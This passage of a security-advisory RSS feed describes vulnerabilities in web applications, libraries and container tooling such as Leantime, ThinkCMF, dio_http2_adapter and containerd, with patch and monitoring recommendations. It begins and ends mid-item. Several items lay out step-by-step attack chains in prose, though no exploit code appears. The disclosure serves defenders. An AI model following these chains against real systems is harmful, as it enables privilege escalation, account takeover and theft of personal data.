<p>Successful exploitation allows an attacker to compromise the integrity and confidentiality of user accounts system-wide. Unauthorized actors can perform administrative functions across the entire user base, bypassing organizational department boundaries. This can lead to mass account compromise, privilege escalation, and data exfiltration.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade cool-admin-midway to a patched version beyond 8.0.0 as soon as it becomes available.</li>
<li>Audit logs for administrative actions (e.g., password resets, role updates, account deletions) initiated by accounts with department-restricted access to identify potential exploitation attempts.</li>
<li>Temporarily restrict access to '/admin/sys/user/' endpoints if administrative functions cannot be verified for all assigned 'sys:user:*' administrators.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>vulnerability</category><category>authorization-bypass</category><category>api-security</category></item><item><title>Insecure Direct Object Reference in CRMEB gift-order API</title><link>https://feed.craftedsignal.io/briefs/2026-10-crmeb-idor/</link><pubDate>Thu, 15 Oct 2026 22:50:32 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-crmeb-idor/</guid><description>CRMEB versions 5.6.1 through 6.0.0 contain an IDOR vulnerability allowing authenticated attackers to enumerate and hijack order details via the gift-order API.</description><content:encoded><![CDATA[<p>CRMEB versions 5.6.1 through 6.0.0 are affected by an Insecure Direct Object Reference (IDOR) vulnerability within the gift-order API. This flaw stems from the application failing to properly validate user authorization when accessing order-related endpoints. An authenticated storefront user can exploit this to perform unauthorized actions on other customers' orders. By enumerating sequential order identifiers, an attacker can harvest sensitive buyer information and gift keys, eventually allowing them to intercept and redirect paid goods to an arbitrary address. This vulnerability poses a significant risk to the integrity of commerce transactions and customer data privacy within affected CRMEB deployments.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthorized access to sensitive buyer identities and the redirection of paid purchases. This results in direct financial loss to users and significant reputational damage to merchants using the affected CRMEB versions.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Apply the vendor-provided patch for CRMEB to address CVE-2026-111359.</li>
<li>Monitor web application access logs for anomalous, high-frequency GET requests to gift_detail endpoints that exhibit sequential ID patterns.</li>
<li>Implement strict authorization checks on all gift-order API endpoints to ensure users can only access objects associated with their own session or account UID.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Unauthenticated Account Takeover in MacCMS via Password Recovery Rate Limiting Bypass</title><link>https://feed.craftedsignal.io/briefs/2026-10-maccms-password-reset-bypass/</link><pubDate>Thu, 15 Oct 2026 22:50:26 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-maccms-password-reset-bypass/</guid><description>MacCMS versions v10 through 2026.1000.4056 are vulnerable to an unauthenticated account takeover via brute-force exploitation of the password recovery function.</description><content:encoded><![CDATA[<p>MacCMS versions v10 through 2026.1000.4056 contain a critical vulnerability in the password recovery mechanism that fails to enforce rate limiting on six-digit recovery codes. This flaw allows an unauthenticated attacker to abuse the 'findpass_reset' function by systematically brute-forcing the verification code required to reset a user's password. An attacker requires only the target's associated email address or phone number to initiate the recovery workflow. Once the correct six-digit code is guessed, the attacker can overwrite the member's existing password, leading to complete account takeover. This vulnerability is particularly impactful in multi-user environments where member account security is essential.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability poses a high risk of unauthorized account access, potentially leading to data exfiltration, account impersonation, and unauthorized administrative actions within the MacCMS application. Given the ubiquity of CMS platforms, any site running vulnerable versions is susceptible to automated account takeover campaigns.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Monitor web access logs for high-frequency POST requests to the 'findpass_reset' endpoint from a single source IP address, which may indicate automated brute-force attempts.</li>
<li>Implement rate limiting or account lockout policies at the web application firewall (WAF) or web server level for the password recovery module.</li>
<li>Upgrade MacCMS to a patched version beyond 2026.1000.4056 as soon as the vendor provides a remediation.</li>
<li>Audit user account logs for suspicious password resets that do not correspond with user-initiated activity.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-application</category><category>account-takeover</category><category>vulnerability</category><category>cve-2026-111356</category></item><item><title>Incorrect Authorization Vulnerability in ThinkCMF RestAdminBaseController</title><link>https://feed.craftedsignal.io/briefs/2026-10-thinkcmf-auth-bypass/</link><pubDate>Thu, 15 Oct 2026 22:50:19 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-thinkcmf-auth-bypass/</guid><description>An incorrect authorization flaw in ThinkCMF RestAdminBaseController allows restricted administrators to bypass access controls, leading to privilege escalation and unauthorized data access.</description><content:encoded><![CDATA[<p>ThinkCMF versions through 8.0.1 are vulnerable to an incorrect authorization flaw located within the RestAdminBaseController. The vulnerability originates from the Auth::check() function, which fails to enforce access control when no explicit 'admin_api' rule is defined for a given endpoint. This failure results in an open state, granting access to restricted REST API endpoints to any user possessing a valid admin-type API token.</p>
<p>An attacker with low-level administrative credentials can exploit this misconfiguration to interact with restricted API methods. This scope includes the ability to exfiltrate sensitive member data, such as email addresses and mobile numbers, the ability to disable user accounts, and the critical capability to invoke the PUT admin/roles/{id}/authorize endpoint to escalate their own account privileges to full administrator. This vulnerability poses a significant risk to the integrity and confidentiality of the ThinkCMF management environment.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker gains access to a low-privilege administrative API token via credential compromise or insider access.</li>
<li>Attacker inspects application API endpoints to identify routes handled by RestAdminBaseController.</li>
<li>Attacker crafts a malicious HTTP PUT request directed at the /admin/roles/{id}/authorize endpoint.</li>
<li>The application triggers RestAdminBaseController which calls the flawed Auth::check() function.</li>
<li>Auth::check() fails to validate the request because no specific 'admin_api' rule is present, bypassing the permission check.</li>
<li>The application processes the request, granting the attacker's target account full administrative permissions.</li>
<li>Attacker logs in with the elevated account to perform full administrative management or data exfiltration.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of CVE-2026-111352 allows unauthorized users to perform sensitive administrative actions. This includes unauthorized access to user databases (emails, mobile numbers), disruption of service through account disabling, and full privilege escalation to the super-administrator level, which can result in a total compromise of the application and underlying data.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Monitor web server logs for high-frequency or unauthorized calls to /admin/roles/{id}/authorize or endpoints returning sensitive user metadata.</li>
<li>Audit current administrative API permissions and ensure all custom endpoints have explicit 'admin_api' rules defined within the controller logic.</li>
<li>Evaluate the necessity of all active admin-type API tokens and revoke those associated with compromised or inactive accounts.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>vulnerability</category><category>privilege-escalation</category><category>web</category></item><item><title>Authentication and Authorization Bypass in OpenHealth</title><link>https://feed.craftedsignal.io/briefs/2026-10-openhealth-auth-bypass/</link><pubDate>Thu, 15 Oct 2026 22:50:12 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-openhealth-auth-bypass/</guid><description>OpenHealth versions 0.2.0 and earlier are vulnerable to unauthenticated access within the /api/health-data/ endpoint, allowing remote attackers to read, modify, or delete sensitive medical records.</description><content:encoded><![CDATA[<p>OpenHealth versions 0.2.0 and earlier contain a critical missing authentication and authorization vulnerability in the /api/health-data/[id] endpoint. The affected handlers for GET, PATCH, and DELETE operations fail to validate user sessions or verify that the requested HealthData record belongs to the requester. An unauthenticated attacker who discovers or enumerates a valid record identifier can bypass security controls to access, alter, or destroy sensitive patient information. This vulnerability poses a significant risk to the confidentiality and integrity of medical data handled by the application. Because the flaw exists within the core API logic, it is trivial to exploit via standard HTTP requests once a valid record ID is identified.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthenticated attackers to exfiltrate private medical record data and metadata, overwrite existing patient records with arbitrary JSON payloads, or delete critical records entirely. This exposes patient health information to unauthorized parties and disrupts the availability of medical records, which may have legal, compliance, and clinical safety implications depending on the deployment environment.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade the OpenHealth application to a version released after 0.2.0 that includes patches for authentication enforcement.</li>
<li>Audit access logs for high volumes of 200 OK responses to GET, PATCH, or DELETE requests targeting /api/health-data/* from unauthenticated or unexpected IP sources.</li>
<li>Implement strict ingress filtering or network-level authentication (e.g., mTLS or API gateway validation) as a compensating control until the application can be patched.</li>
<li>Use the webserver logs to monitor for excessive enumerative requests against the /api/health-data/ endpoint, which may indicate an attacker attempting to discover valid record IDs.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Out-of-Bounds Write Vulnerability in Snap7</title><link>https://feed.craftedsignal.io/briefs/2026-10-snap7-oob-write/</link><pubDate>Thu, 15 Oct 2026 22:49:58 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-snap7-oob-write/</guid><description>Snap7 versions up to 1.4.3 contain an out-of-bounds write vulnerability in TSnap7MicroClient::opReadArea() triggered by malicious S7 peer responses, potentially leading to memory corruption or process crashes.</description><content:encoded><![CDATA[<p>Snap7, a popular open-source communication suite for interfacing with Siemens S7 PLCs, contains an out-of-bounds write vulnerability in the TSnap7MicroClient::opReadArea() function. This vulnerability, tracked as CVE-2026-111280, affects all versions up to and including 1.4.3. The flaw exists due to insufficient validation of the DataLength field returned by an S7 peer. A rogue or impersonated PLC can provide a specially crafted ReadVar response, forcing the library to execute a memcpy operation of up to 65535 bytes into a fixed-size caller buffer. This condition enables memory corruption or arbitrary code execution within the context of the calling SCADA, HMI, or industrial gateway process, significantly impacting industrial control system stability and integrity.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows for memory corruption within applications consuming the Snap7 library. This can result in denial-of-service via process crashes of critical HMI or SCADA software, or potentially arbitrary code execution by overwriting adjacent memory structures. Given the library's role as a bridge between management systems and industrial hardware, exploitation risks the reliability of industrial communication channels and the availability of control operations.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Prioritized, concrete actions for detection engineering and security teams:</p>
<ul>
<li>Update all software implementations utilizing the Snap7 library to version 1.4.4 or later immediately.</li>
<li>Audit industrial networks for unauthorized or rogue PLC devices capable of spoofing S7 communication protocol responses.</li>
<li>Monitor logs for unusual process crashes in software integrations (e.g., HMI/SCADA services) that interface with S7 hardware, particularly following network communication events.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Unbounded Memory Allocation in DragonflyDB</title><link>https://feed.craftedsignal.io/briefs/2026-10-dragonfly-memory-exhaustion/</link><pubDate>Thu, 15 Oct 2026 22:49:51 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-dragonfly-memory-exhaustion/</guid><description>An unauthenticated denial-of-service vulnerability in DragonflyDB allows remote attackers to cause instance termination via unbounded memory allocation.</description><content:encoded><![CDATA[<p>DragonflyDB versions 2.0.2 and earlier contain an unbounded memory allocation vulnerability identified as CVE-2026-111279. The flaw exists in the handling of the COUNT argument within the HRANDFIELD, ZRANDMEMBER, and SRANDMEMBER commands. An unauthenticated attacker can exploit this by sending a specially crafted command featuring a large negative COUNT value against a key containing a single element. This triggers the server to allocate an excessive amount of memory, forcing the operating system to invoke the Out-of-Memory (OOM) killer. The resulting memory pressure leads to the termination of the Dragonfly instance, causing a complete denial-of-service for all connected clients. Given the ease of exploitation through a single command, this vulnerability presents a significant risk to the availability of affected deployments.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of CVE-2026-111279 results in the immediate termination of the DragonflyDB instance. This causes a denial-of-service condition, disrupting all services dependent on the database. Because the attack only requires a single command to a key with at least one element, the barrier to exploitation is low for any network-reachable instance.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade all instances of DragonflyDB to a version beyond 2.0.2 that addresses the memory allocation flaw.</li>
<li>Restrict network access to DragonflyDB instances to authorized clients only, preventing unauthenticated access to the service.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>denial-of-service</category><category>vulnerability</category><category>dragonflydb</category></item><item><title>NivoCart Unauthorized Invoice Disclosure Vulnerability</title><link>https://feed.craftedsignal.io/briefs/2026-10-nivocart-auth-bypass/</link><pubDate>Thu, 15 Oct 2026 22:49:41 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-nivocart-auth-bypass/</guid><description>NivoCart through 2.5.1 contains a missing authorization vulnerability in the account/order module that allows unauthenticated attackers to exfiltrate guest order invoices by iterating order identifiers.</description><content:encoded><![CDATA[<p>NivoCart versions up to and including 2.5.1 contain a significant authorization vulnerability within the <code>download()</code> action of the <code>account/order</code> module. This flaw stems from a failure to verify the requester's identity or permissions before processing invoice retrieval requests. An unauthenticated attacker can exploit this by sending crafted HTTP requests to the application, specifically targeting the <code>order_id</code> parameter. Because the application fails to restrict access to records where the <code>customer_id</code> is set to 0 (the identifier used for guest checkouts), an attacker can systematically enumerate these IDs to scrape private customer data. This vulnerability poses a high risk to data privacy, as it permits unauthorized access to names, physical addresses, telephone numbers, email addresses, and granular purchase history.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation leads to mass exfiltration of customer PII and sensitive purchase information. The ability to enumerate guest orders allows an attacker to build comprehensive lists of customer profiles and transaction records. This breach of confidentiality impacts individual user privacy and may result in regulatory non-compliance for organizations hosting vulnerable NivoCart instances.</p>
<h2 id="recommendation">Recommendation</h2>
<ol>
<li>Patch immediately by upgrading NivoCart to a version beyond 2.5.1 as soon as a security update is released by the vendor.</li>
<li>Implement an application-level web access control list or WAF rule to block suspicious patterns of sequential <code>order_id</code> requests originating from a single IP address.</li>
<li>Audit web server logs for high-frequency requests to <code>/account/order/download</code> or equivalent endpoints featuring incrementing <code>order_id</code> integer values.</li>
</ol>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>FrankenPHP Cross-Request Session ID Leak in Worker Mode</title><link>https://feed.craftedsignal.io/briefs/2026-10-frankenphp-session-leak/</link><pubDate>Thu, 15 Oct 2026 22:24:45 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-frankenphp-session-leak/</guid><description>A build-time dependency issue in FrankenPHP causes cross-user session ID leakage when the PHP session extension is loaded as a shared module in worker mode.</description><content:encoded><![CDATA[<p>FrankenPHP is susceptible to a cross-user session ID leakage vulnerability when operating in worker mode. The root cause is a build-time configuration discrepancy: the internal logic designed to clear session identifiers (<code>PS(id)</code>) between requests is wrapped in a preprocessor macro <code>#ifdef HAVE_PHP_SESSION</code>. This macro is only defined if the PHP session extension is statically linked at the time FrankenPHP is compiled.</p>
<p>When FrankenPHP is deployed using packages that utilize a shared PHP session extension (common in many Linux distribution repositories), the cleanup function is excluded from the binary. Consequently, worker threads retain the session state from the previous request. If a subsequent request arrives, the <code>session_start()</code> function may reuse the stale session identifier instead of parsing the cookie provided by the current client. This results in session hijacking or cross-user data exposure, impacting any FrankenPHP worker mode deployment relying on shared-module PHP builds (v1.12.4 and earlier).</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker identifies a target server running FrankenPHP in worker mode with a shared <code>session</code> extension.</li>
<li>Attacker maintains an active session (Session A) and observes that the application uses cookie-based session tracking.</li>
<li>Attacker sends a high volume of concurrent requests to the target, alternating between their Session A and a second controlled Session B.</li>
<li>The FrankenPHP worker thread serves Request 1 for User A, leaving the session ID in <code>PS(id)</code> memory space.</li>
<li>The same worker thread processes Request 2 for User B. Because the session state was not reset, the application fails to re-read the provided cookie and instead defaults to the lingering ID from User A.</li>
<li>The server returns a response to User B that includes data or state associated with User A, confirming the cross-user leak.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>The vulnerability results in critical session exposure, where a user may be assigned an arbitrary, foreign session ID, leading to account takeover or unauthorized access to other users' data. This behavior is persistent under load in multi-worker environments. Deployment on standard Linux package manager distributions (RPM/Debian) that ship PHP as shared modules is highly likely to be affected.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade to a FrankenPHP build where the <code>session</code> extension is statically linked, such as the official static binaries or Docker images.</li>
<li>If upgrading is not immediately possible, implement an application-level workaround by calling <code>session_id('')</code> immediately after <code>session_write_close()</code> in the worker loop to force a re-read of session cookies on the next request.</li>
<li>Audit current environment deployment configurations to determine if the <code>session</code> extension is loaded as a shared module via <code>conf.d</code> or statically compiled into the PHP-ZTS binary.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-application</category><category>session-management</category><category>vulnerability</category></item><item><title>Leantime JSON-RPC Privilege Escalation</title><link>https://feed.craftedsignal.io/briefs/2026-10-leantime-auth-bypass/</link><pubDate>Thu, 15 Oct 2026 22:24:38 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-leantime-auth-bypass/</guid><description>Authenticated users can escalate privileges to administrator or manage plugins by invoking unauthorized JSON-RPC methods in Leantime.</description><content:encoded><![CDATA[<p>Leantime contains a critical authorization vulnerability where multiple JSON-RPC service methods are exposed without necessary role-based access control. The application utilizes a <code>PermissionEnforcer</code> class that relies on a <code>#[RequiresPermission]</code> PHP attribute to gate access; however, when this attribute is missing, the enforcer fails open, permitting any authenticated user to execute the method. This affects sensitive administrative functions, specifically <code>leantime.rpc.api.api.createApiKeyWithProjects</code>, which allows an attacker to create new accounts with arbitrary roles, and plugin management methods like <code>installPlugin</code> and <code>enablePlugin</code>. Because the application's first-party JavaScript client uses <code>X-Requested-With: XMLHttpRequest</code> headers to authenticate via session cookies, an attacker can leverage their existing, low-privilege session to trigger these methods directly via the JSON-RPC endpoint.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker authenticates to a Leantime instance with a low-privileged account (e.g., 'readonly' role).</li>
<li>Attacker verifies the current session is active by capturing the session cookie from the browser or application traffic.</li>
<li>Attacker crafts a JSON-RPC POST request targeting the <code>/api/jsonrpc</code> endpoint.</li>
<li>Attacker includes the required <code>X-Requested-With: XMLHttpRequest</code> header to ensure the session middleware processes the authenticated request.</li>
<li>Attacker calls the <code>leantime.rpc.api.api.createApiKeyWithProjects</code> method, supplying a JSON payload with <code>role</code> set to 40 (Admin).</li>
<li>The backend processes the request without checking the caller's privileges, creating a new administrative user.</li>
<li>Attacker receives the new credentials (username/password) in the JSON-RPC response body.</li>
<li>Attacker logs into the application using the escalated credentials to gain full administrative access.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows any authenticated user to achieve full administrative control over the Leantime instance. By creating administrative accounts or manipulating plugins, an attacker can perform unauthorized data access, system configuration changes, and potentially achieve remote code execution through the installation of malicious plugins. This affects all Leantime instances that have not yet applied the vendor's security update.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Update Leantime immediately to the patched version provided by the vendor.</li>
<li>Monitor HTTP traffic for POST requests to <code>/api/jsonrpc</code> that originate from low-privilege users or IP addresses not associated with authorized administrative workstations.</li>
<li>Enable web application firewall (WAF) rules to inspect and validate JSON-RPC method calls against a known-good allowlist of permitted administrative methods.</li>
<li>Audit existing user accounts for suspicious additions or modifications to user roles, specifically looking for accounts created via automated API workflows.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>privilege-escalation</category><category>json-rpc</category><category>authentication-bypass</category></item><item><title>OpenNext Cloudflare Middleware Bypass via Cache Interception</title><link>https://feed.craftedsignal.io/briefs/2026-10-opennext-cache-bypass/</link><pubDate>Thu, 15 Oct 2026 22:24:22 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-opennext-cache-bypass/</guid><description>The @opennextjs/cloudflare component contains a vulnerability (CVE-2026-100409) where inconsistent path decoding allows attackers to bypass middleware-based authorization and retrieve cached content.</description><content:encoded><![CDATA[<p>A security vulnerability exists in <code>@opennextjs/cloudflare</code> versions 0.3.0 through 1.20.1 due to inconsistent percent-encoded path handling when the <code>enableCacheInterception</code> feature is activated. When enabled, the library performs path decoding during cache lookup that differs from the decoding logic used by middleware matchers.</p>
<p>This discrepancy allows an attacker to craft a request with percent-encoded characters that effectively hide the path from security middleware, while subsequently being normalized into a valid cache key that points to a protected resource. Because the middleware fails to trigger, the authorization check is skipped entirely, and the Cloudflare Worker serves the cached response directly to the unauthenticated user. The vulnerability also stems from a secondary issue where malformed segments are partially decoded rather than rejected, allowing for potential obfuscation. This flaw impacts applications relying on middleware for sensitive access control in conjunction with static asset caching.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability allows remote unauthenticated attackers to bypass intended access control mechanisms, resulting in the unauthorized retrieval of cached data from protected routes. The impact is limited to applications that explicitly enable <code>enableCacheInterception</code> and utilize middleware as their primary authorization gatekeeper. No specific victim counts are documented, but the scope includes all deployments of the affected <code>@opennextjs/cloudflare</code> package that meet these specific configuration criteria.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade <code>@opennextjs/cloudflare</code> to version 1.20.2 or later to address CVE-2026-100409.</li>
<li>If immediate patching is not feasible, disable the <code>enableCacheInterception</code> setting in the <code>defineCloudflareConfig</code> object.</li>
<li>Implement authorization logic directly within route handlers as a defense-in-depth measure, rather than relying solely on middleware.</li>
<li>Validate and reject anomalous encoded paths at the edge using Cloudflare WAF rules before the request reaches the Worker environment.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-application</category><category>middleware-bypass</category><category>cloudflare</category><category>cve-2026-100409</category></item><item><title>Sensitive Header Leak in dio_http2_adapter via Cross-Origin Redirects</title><link>https://feed.craftedsignal.io/briefs/2026-10-dio-http2-adapter-leak/</link><pubDate>Thu, 15 Oct 2026 22:24:13 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-dio-http2-adapter-leak/</guid><description>The dio_http2_adapter library fails to sanitize Authorization, Cookie, and Proxy-Authorization headers when following cross-origin HTTP redirects, enabling credential theft.</description><content:encoded><![CDATA[<p>The <code>dio_http2_adapter</code> library, a plugin for the popular Dart <code>Dio</code> HTTP client, contains a vulnerability that leads to sensitive information disclosure. When the library is configured to follow HTTP redirects (which is enabled by default with a limit of 5), the adapter fails to perform origin validation before re-issuing a request to a new location. Consequently, sensitive request headers, specifically <code>Authorization</code>, <code>Cookie</code>, and <code>Proxy-Authorization</code>, are copied verbatim into the request sent to the redirect target, even if that target is on a completely different origin.</p>
<p>This behavior essentially allows any malicious or compromised server that can trigger a <code>3xx</code> redirect to force the client to disclose authenticated session tokens or proxy credentials. The vulnerability resides in the <code>_fetch</code> method of the <code>Http2Adapter</code> class, where header maps are preserved during the <code>copyWith</code> operation without sanitization. This flaw impacts server-side Dart applications, mobile applications, and CLI tools utilizing <code>dio_http2_adapter</code> for authenticated HTTP/2 communications.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>The victim application initiates an authenticated request using <code>Dio</code> with <code>Http2Adapter</code>, including sensitive headers like <code>Authorization</code> or <code>Cookie</code>.</li>
<li>The application contacts a malicious or compromised origin server that is under the attacker's control.</li>
<li>The malicious server responds with an HTTP <code>302 Found</code> (or other <code>3xx</code> status) and a <code>Location</code> header pointing to an attacker-controlled URI.</li>
<li>The <code>Http2Adapter</code> processes the <code>3xx</code> response, parsing the <code>Location</code> header to determine the new redirect target.</li>
<li>The adapter calls <code>options.copyWith</code> to initiate the new request to the redirect URI, inadvertently cloning the full original header map into the new request options.</li>
<li>No cross-origin check is performed to see if the new URI belongs to a different authority.</li>
<li>The <code>_fetch</code> method emits the new HTTP/2 request, now including the sensitive <code>Authorization</code> and <code>Cookie</code> headers, to the attacker-controlled server.</li>
<li>The attacker logs the incoming request headers at the final destination, successfully exfiltrating the victim's credentials.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows for the unauthorized disclosure of sensitive credentials, including bearer tokens, session identifiers, and proxy authentication details. This enables attackers to impersonate the victim in subsequent requests to the original legitimate service. Given the prevalence of <code>Dio</code> in the Dart and Flutter ecosystems, any application using <code>dio_http2_adapter</code> with <code>followRedirects</code> enabled is at risk. The lack of authentication required to perform the redirect makes this a low-complexity attack for any adversary who can intercept or host an HTTP-based service.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Immediately upgrade or patch the <code>dio_http2_adapter</code> library logic to implement origin validation during redirect processing.</li>
<li>For immediate mitigation, define a list of sensitive headers (e.g., <code>Authorization</code>, <code>Cookie</code>, <code>Proxy-Authorization</code>) and manually remove these headers from the <code>RequestOptions</code> when the redirect URI differs from the original request authority.</li>
<li>Developers should ensure that their <code>Dio</code> configurations explicitly manage redirect behavior if full library updates are delayed, though this does not replace the need for the library-level sanitization fix.</li>
<li>Organizations deploying Dart-based CLI tools or backend services should audit internal codebases to confirm if <code>dio_http2_adapter</code> is utilized for authenticated requests to untrusted or external endpoints.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>information-disclosure</category><category>credential-access</category><category>dart</category><category>flutter</category></item><item><title>Uncontrolled Recursion DoS in kin-openapi</title><link>https://feed.craftedsignal.io/briefs/2026-10-kin-openapi-recursion-dos/</link><pubDate>Thu, 15 Oct 2026 22:23:51 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-kin-openapi-recursion-dos/</guid><description>The kin-openapi library lacks cycle detection during runtime schema validation, allowing attackers to trigger an unrecoverable Go runtime stack overflow that terminates the entire host process.</description><content:encoded><![CDATA[<p>The kin-openapi library (versions prior to 0.149.0) contains a critical flaw in its runtime schema validation logic. While the library's spec-loader and <code>Schema.validate()</code> method implement cycle detection to handle circular references in OpenAPI schemas, the runtime validators <code>VisitJSON</code> (used for response validation) and <code>decodeValue</code> (used for request parameter decoding) lack these protections.</p>
<p>When a circular combinator chain (such as <code>allOf</code>, <code>anyOf</code>, or <code>oneOf</code>) is encountered during request or response processing, the library enters an infinite recursion loop. In Go, this eventually exhausts the goroutine stack, triggering a fatal <code>runtime: goroutine stack exceeds ... limit</code> error. Because this is a fatal runtime error rather than a panic, it cannot be intercepted by <code>recover()</code> blocks in <code>net/http</code> handlers. Consequently, any request triggering this path causes the entire application process to crash, resulting in a total denial-of-service for all clients sharing that process. This affects any application using kin-openapi for request/response validation, whether the circular schema is provided by a malicious actor or exists as a latent bug in a legitimate API specification.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker identifies an application endpoint utilizing <code>kin-openapi</code> for request or response validation.</li>
<li>Attacker crafts a malicious OpenAPI specification, or leverages an existing one, containing a circular combinator reference (e.g., a <code>Schema</code> object with an <code>allOf</code> field pointing back to itself).</li>
<li>The target application loads the malicious specification into memory via the <code>kin-openapi</code> loader, which treats the circularity as a valid data structure.</li>
<li>The application receives a legitimate HTTP request routed to an endpoint governed by the circular schema definition.</li>
<li>The library's <code>openapi3filter</code> or <code>VisitJSON</code> component processes the input against the circular combinator chain.</li>
<li>The lack of stack-based cycle detection causes the recursion to continue indefinitely.</li>
<li>The Go runtime triggers a fatal stack overflow error.</li>
<li>The entire application process terminates, resulting in a successful denial-of-service.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>The vulnerability results in an unrecoverable, process-wide denial-of-service. Because the Go runtime error is fatal, all concurrent connections served by the same process are immediately dropped. The threat is particularly severe for API gateways, mock servers, or any infrastructure that dynamically loads or validates OpenAPI specifications from user-supplied inputs. Even in deployments using static, trusted specifications, the presence of a circular reference leads to a persistent, triggered crash upon any interaction with the affected endpoint.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Update <code>kin-openapi</code> to version 0.149.0 or later, which implements mandatory cycle detection in both <code>VisitJSON</code> and <code>decodeValue</code> paths.</li>
<li>Implement strict validation for any OpenAPI specifications loaded from untrusted or external sources before they are used for runtime validation.</li>
<li>In environments where immediate patching is not possible, implement an upstream WAF rule to scan for and block YAML/JSON inputs containing recursive <code>allOf</code>, <code>anyOf</code>, or <code>oneOf</code> structures.</li>
<li>Deploy monitoring to identify and alert on <code>fatal error: stack overflow</code> entries in application log files, which signal active exploitation or the presence of a broken schema.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">threat</category><category>denial-of-service</category><category>vulnerability</category><category>openapi</category><category>go</category><category>authentication-bypass</category><category>path-confusion</category><category>web-application-vulnerability</category></item><item><title>Containerd CRI Checkpoint Restore Privilege Escalation</title><link>https://feed.craftedsignal.io/briefs/2026-10-containerd-cri-checkpoint-bypass/</link><pubDate>Thu, 15 Oct 2026 22:23:38 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-containerd-cri-checkpoint-bypass/</guid><description>A vulnerability in the containerd CRI implementation (CVE-2026-95837) allows untrusted container checkpoints to bypass configured security contexts, enabling privilege escalation to root.</description><content:encoded><![CDATA[<p>CVE-2026-95837 describes a critical flaw in the containerd CRI plugin where container restoration from untrusted checkpoints via the CreateContainer API ignores destination security contexts. Instead of enforcing the security policies defined by the orchestrator, containerd restores sensitive process state - including Linux capabilities, UIDs/GIDs, no_new_privs, and seccomp filters - directly from the checkpoint archive. This allows an attacker to manipulate the checkpoint image to execute code with elevated privileges, effectively bypassing isolation mechanisms.</p>
<p>The vulnerability is particularly dangerous because containerd's internal status reporting inaccurately reflects the requested (restricted) configuration rather than the actual (elevated) state of the restored process, misleading security monitoring systems. Affected versions include containerd v2.1.0 through v2.2.6, and v2.3.0 through v2.3.3. This feature is disabled by default in fixed versions 2.2.7 and 2.3.4, and entirely removed in 2.4.0.</p>
<h2 id="impact">Impact</h2>
